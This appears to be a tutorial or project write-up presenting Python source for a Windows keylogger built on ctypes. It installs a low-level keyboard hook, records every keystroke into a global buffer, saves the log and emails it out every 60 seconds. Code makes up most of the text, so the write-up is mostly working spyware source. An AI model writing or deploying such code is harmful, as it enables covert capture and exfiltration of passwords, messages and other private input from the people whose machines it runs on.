What's a hook ?

it's a point in the system (os) message (event) handling system
used to install a subroutine to process certain types of message
before they reach the target procedure

How we will implement subroutine

We can implement this module using different packages like pynput, PyHook , etc but they contain bugs and no fixes but we obted to interact with WinAPI using the ctypes library for performance reasons and for learning goals

```
from ctypes import *
from ctypes.wintypes import DWORD, LPARAM, WPARAM, MSG
```

Required constants for win api functions

```
WH_KEYBOARD_LL = 13       # Hook ID to pass to SetWindowsExA
WM_KEYDOWN = 0x0100       # VM_KEYDOWN message code
HC_ACTION = 0             # Parameter for KeyboardProc callback function
```

Declaring the fonction type

```
HOOKPROC = WINFUNCTYPE(HRESULT, c_int, WPARAM, LPARAM)
```

We need a structure to deal with message data

```
class KBDLLHOOKSTRUCT(Structure):
        _fields_=[
    ('vkCode',DWORD),
    ('scanCode',DWORD),
    ('flags',DWORD),
    ('time',DWORD),
    ('dwExtraInfo',DWORD)]
```

The global variable to save key strokes

```
keylogs = ""
```

The mailing callback function

```
def mail_func():
    global keylogs
    if(keylogs.isspace() or keylogs == ''):
        return None
    name,path = Io.saveKeys(keylogs)
    if(name!=1):
        mail_result = Mailer.send_mail(f'Log [{name}]','File 
attached',path)
        if(mail_result !=7):
            Io.logEvent("<Email error>: code = {mail_result}")
        else: keylogs=""
```

We use the timer to send the email

```
# Running a timer to send an email every 60 seconds
mail_timer = Timer.timer(mail_func,60)
```

The hook process (subroutine)

```
def hook_proc(nCode, wParam, lParam):
    global keylogs
    if nCode == HC_ACTION and wParam == WM_KEYDOWN:
        kb = KBDLLHOOKSTRUCT.from_address(lParam)
        state = (c_char * 256)()
        user32.GetKeyboardState(byref(state))
        buff = create_unicode_buffer(8)
        n = user32.ToUnicode(kb.vkCode,
                             kb.scanCode,
                             state,
                             buff,
                             8 - 1,
                             0)
        key = wstring_at(buff)      # Key pressed as buffer
        if n > 0:
            # Avoid logging weird characters. If they show up,
            for key in Keys.KEYS.keys():
                if kb.vkCode == key:
                    keylogs += Keys.KEYS[key][1]

    return user32.CallNextHookEx(hook.is_hooked,
                                 nCode,
                                 wParam,
                                 c_ulonglong(lParam))
```

Hook class

```
class Hook:
    # Class for installing/uninstalling a hook
    def __init__(self):
        """
        Constructor for the hook class.
        Add the needed libraires
        user32.dll and kernel32.dll.
        """
        self.user32 = user32
        self.kernel32 = kernel32
        self.is_hooked = None

    def install_hook(self, ptr):
        """
        Method for installing hook.
        Arguments
            ptr: pointer to the HOOKPROC callback function
        """
        self.is_hooked = self.user32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            ptr,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.is_hooked:
            return False
        mail_timer.start()
        return True

    def uninstall_hook(self):
        #Method for uninstalling the hook.
        if self.is_hooked is None:
            return
        self.user32.UnhookWindowsHookEx(self.is_hooked)
        self.is_hooked = None
```

Initiate the hook , add the subroutine

```
hook = Hook()                          # Hook class
ptr = HOOKPROC(hook_proc)              # Pointer to the callback function
```